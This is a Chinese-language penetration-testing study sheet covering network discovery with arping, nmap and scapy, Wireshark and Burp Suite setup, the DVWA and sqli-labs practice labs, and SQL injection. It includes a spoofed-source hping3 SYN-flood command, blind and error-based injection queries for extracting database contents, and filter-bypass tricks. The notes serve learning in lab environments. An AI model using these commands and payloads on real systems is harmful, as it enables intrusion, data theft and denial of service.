一、二层发现
只能用于内网,不可跨路由使用,速度较快
1. arping 192.168.31.1 -c 3
-c 指定发包次数
请求获取对方的MAC地址
2. netdiscover -i eth0 -r 192.168.31.0/24
通过主动方式查看网络在线用户,容易被管理员发现
netdiscover -p
通过被动方式查看网络在线用户,检测网络用户的发包
二、三层发现
可跨路由,速度相对较快,但经常被防火墙过滤
1. ping 192.168.31.1 -c 3
-c 指定发包次数
2. traceroute www.baidu.com
对路由进行跟踪
3. hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source xxx.xxxx.com
是命令行下使用的TCP/IP数据包组装/分析工具,通常web服务会用来做压力测试使用,也可以进行DOS攻击实验。同样hping3只能每次扫描一个目标
-c 指定要发送的数据包数量
-d 指定要发送的数据包大小(字节为单位)
-S (大写)表示只发送SYN数据包,即TPC/IP三次握手的第一数据包
-w TCP窗口大小
-p 指定端口
--flood 洪水攻击(一次性发出数据包)
--rand-source 伪造源IP(但是如果经过路由还会记录真实IP,路由是经过地址转换)
4. fping -a -g 192.168.31.0/24 > fping.txt
由于输出结果较多,可以将结果重定向到文件
-a 表示显示在线主机
-g 表示对IP段进行扫描
三、四层发现
1. nmap 192.168.31.1 网段扫描:nmap 192.168.31.0/24
nmap -p 1-200 -O 192.168.31.1
-p 指定端口(或者范围)
-p- 全端口扫描
-O (大写)查询操作系统
-v 输出详细扫描过程
-A 显示全部信息
# 随机扫描(防屏蔽):
nmap --randomize-hosts --scan-delay 5 192.168.31.100-106
--randomize-hosts 随机从100-106选择
--scan-delay 5 设置延迟时间(5秒)
**** 按一次回车,显示一次当前进度 ****
Nmap的脚本
脚本目录: cd /usr/share/nmap/scripts
nmap --script ip-geolocation-* xxx.xxx.com #进行IP搜集
nmap --script dns-brute xxx.xxx.com #域名信息搜集
nmap --script membase-http-info.nse xxx.xxx.com #检索系统信息
nmap --script smb-vuln-* xxx.xxx.com #检索常见win系统漏洞
nmap --script http-vuln-* xxx.xxx.com #web常见漏洞扫描
nmap -p 3306 --script mysql-info.nse 目标IP #数据库详细信息扫描
......
zenmap是nmap官方提供的一个图形界面的nmap工具,但是再2022版本的kail中可能不支持,需要降低kali版本才能使用,下载地址: https://nmap.org/download.html。下载包如果是rpm安装包要转换成deb包,转换成功以后如果无法打开需要安装python的三个依赖包。
Nmap防火墙
四、scapy定制数据包
可以发送二、三、四层数据包
1. 进入操作界面,输入命令
scapy
2. display() 查看函数可配置参数
ARP().display()
IP().display()
ICMP().display()
...
3. sr1() 发送数据包
参数
timeout=1 设置超时时间(1秒)
1.发送一个ARP数据包
获取对方的硬件地址
sr1(ARP(pdst="192.168.31.1"))
2.发送一个ping包
# 多个函数用 / 链接
sr1(IP(dst="192.168.31.1")/ICMP(),timeout=1)
3.发送一个TCP/IP包
# 多个函数用 / 链接
sr1(IP(dst="192.168.31.1")/TCP(flags="S",dport=80),timeout=1)
五、wireshark工具使用
官网地址:https://www.wireshark.org
1.程序默认使用混杂模式
混杂模式,这种模式会监控网络中所有包,关闭混杂模式,只监听发给自己的包和广播包
关闭混杂:捕获/选项 找到对应网卡,去掉混杂勾选
2.筛选器
(1)可以直接输入协议名称,如:arp,upd,dns,http,tcp,icpm等
(2)ip.src_host==192.168.31.182 筛选指定源主机包
(3)tcp.port == 80 查询指定端口
and(&&)、or(||) 连接两个条件
3.统计/流量图
六、BurpSuite工具使用
官网地址:www.portswigger.net
1.连接手机
(1)设置代理
(2)导出crt格式证书
(3)手机打开连接的WiFi -》修改网络 -》 高级选项 -》 进行代理设置
(4)将第二步下载的证书安装到手机:微信发送-》保存到文件 -》 设置 -》 搜索安装证书
七、常用Linux命令
1.查看端口被哪个程序占用: lsof -i :80
2.杀掉指定程序: kill -9 PID
(程序的pid)
3.查看指定程序运行文件位置: ps aux | grep sshd
4.如果程序有服务监听,即杀掉以后还会重新开启,使用这个命令可以杀掉指定进程名的所有程序,只能加进程名不能加PID: killall sshd
5. 查看程序树状关系: pstree
八、常用系统和插件安装
(一)DVWA的下载、安装与配置
DVWA是一个基于php的网络安全练习的环境,也就是可以用来练习hacker技术的地方,无须自己找个网络下手或者搭建安全环境来练习网络攻防了。DVWA也是一个对网上常见的漏洞的入门的平台,有sql注入、XXS跨站等等,即使不做hacker,即使只是个小小的网页程序猿,也可以用来学习和实践下网络常见的攻防,DVWA将对你大有裨益。
DVWA官网地址:http://www.dvwa.co.uk ,外网可能打不开。
没关系,我们可以直接用这个下载地址:https://github.com/digininja/DVWA
1. config文件夹下配置
config.inc.php.dist 复制一份config.inc.php,修改数据库和下面配置
$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LfUZr4UAAAAACs5S68EfL7A7WXjNHAgywnZwIch’;
$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LfuZr4UAAAAACMgFi7Qh7yPvwLtgOLV_ZIBYWa8’;
2.初始用户名:admin,密码:password
(二)sqli-labs下载、安装与配置
sqli-labs源码地址:https://github.com/Audi-1/sqli-labs
1.数据库配置
在文件中写上数据库密码 sql-connections/db-creds.inc
2.创建数据库
在浏览器打开网站,点击 Setup/reset Database for labs 创建成功后直接在浏览器中后退返回主页
(三)浏览器插件hackbar下载安装
见:https://blog.csdn.net/Drifter_Galaxy/article/details/118692054
九、SQL注入
(一)常用sql函数
--+
MySQL的单行注释 + 在url会转换成空格group_concat(列名)
将查询的结果合并成一行group_concat(username,0x3a,password)
用冒号将用户名和密码合并成一行,方便观察union
可以拼接另外一条SQL语句,注意要与前面sql语句字段数量一样,可以用order by n
测试出前面字段数量,如果后面字段数量少,可以在select 1,2,3...
加入占位select @@datadir
可以查看mysql的数据存放目录database()
查看数据库名称length()
查看数据名字长度substr(database(),1,1)
截取数据库第一字符,第一个1开始位置,第二个1是取得长度ascii()
查看十进制的ASCII码if(条件,为真时,为假时)
sleep(3)
设置休眠时间updatexml(第一引用,第二引用,第三引用)
第一、第三引用不影响SQL注入结果但要一样,主要以第二个引用为主,在第二个引用写入SQL注入语句。第一个引用类型:XML文档对象的名称;第二个引用:Xpath格式的字符串;第三个引用:new_value,字符串格式,替换的数据的值。extractvalue
和上面类似,用的不多
(二)常用sql语句
-- 查询当前数据库的所有表
select table_name from information_schema.tables where table_schema=database()
-- 查询指定表中的所有字段
select table_schema,table_name,column_name from information_schema.columns where table_schema='security' and table_name = 'users'
-- 拆解长度,拆解数据库、表名、字段、数据之前,都需要先拆解长度
select length(database()) > 4
-- 拆解数据库名称
select ascii(substr(database(),1,1)) > 101
-- 拆解表名
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 101
-- 拆解字段
select ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)) > 101
-- 拆解数据
select ascii(substr((select username from users limit 0,1),1,1)) > 101
-- 通过返回时间盲注,如果为真会休眠3秒
select if(length(database())=8,sleep(3),null)
-- updatexml和extractvalue
select updatexml(1,concat(0x7e,database(),0x7e),1)
select extractvalue(1,concat(0x7e,database()))
(三)常见几种绕过
- 大小写绕过 (And)
- 双写绕过 (anandd)
- 关键词等价绕过(&&)
- 注释绕过(补齐闭合)
- 空格绕过(%a0空格;%26表示&;%27表示’)
- 去除关键词绕过(去除空格+大小写绕过)
- 宽字节绕过,addslashes \(加 %df’)
- base64编码绕过